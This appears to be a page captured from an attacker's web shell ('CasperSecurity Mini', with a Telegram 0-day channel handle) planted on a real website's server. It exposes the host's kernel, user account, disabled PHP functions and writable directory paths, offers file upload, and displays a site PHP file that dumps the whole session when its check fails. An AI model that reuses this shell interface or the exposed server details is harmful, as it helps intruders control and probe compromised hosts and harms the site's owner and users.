T.ME/BIBIL_0DAY
CasperSecurity


Server : Apache/2
System : Linux server-15-235-50-60 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
User : gositeme ( 1004)
PHP Version : 8.2.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/gositeme/domains/soundstudiopro.com/private_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/gositeme/domains/soundstudiopro.com/private_html/fix_admin_session.php
<?php
session_start();

// Check if user is logged in and is admin
if (!isset($_SESSION['user_id']) || !isset($_SESSION['is_admin']) || !$_SESSION['is_admin']) {
    header('Location: /auth/login.php');
    exit;
}

// Check if this looks like an admin who logged in as a user before the fix
// If they have admin_user_id but not logged_in_as_user, add the missing flag
if (isset($_SESSION['admin_user_id']) && !isset($_SESSION['logged_in_as_user'])) {
    $_SESSION['logged_in_as_user'] = true;
    echo "✅ Fixed: Added missing logged_in_as_user flag to your session.<br>";
    echo "You should now see the 'Return to Admin' button in the top bar.<br>";
    echo "<a href='/dashboard.php'>Go to Dashboard</a>";
} else {
    echo "❌ No fix needed or you're not in the right state.<br>";
    echo "Current session variables:<br>";
    echo "<pre>";
    print_r($_SESSION);
    echo "</pre>";
}
?> 

CasperSecurity Mini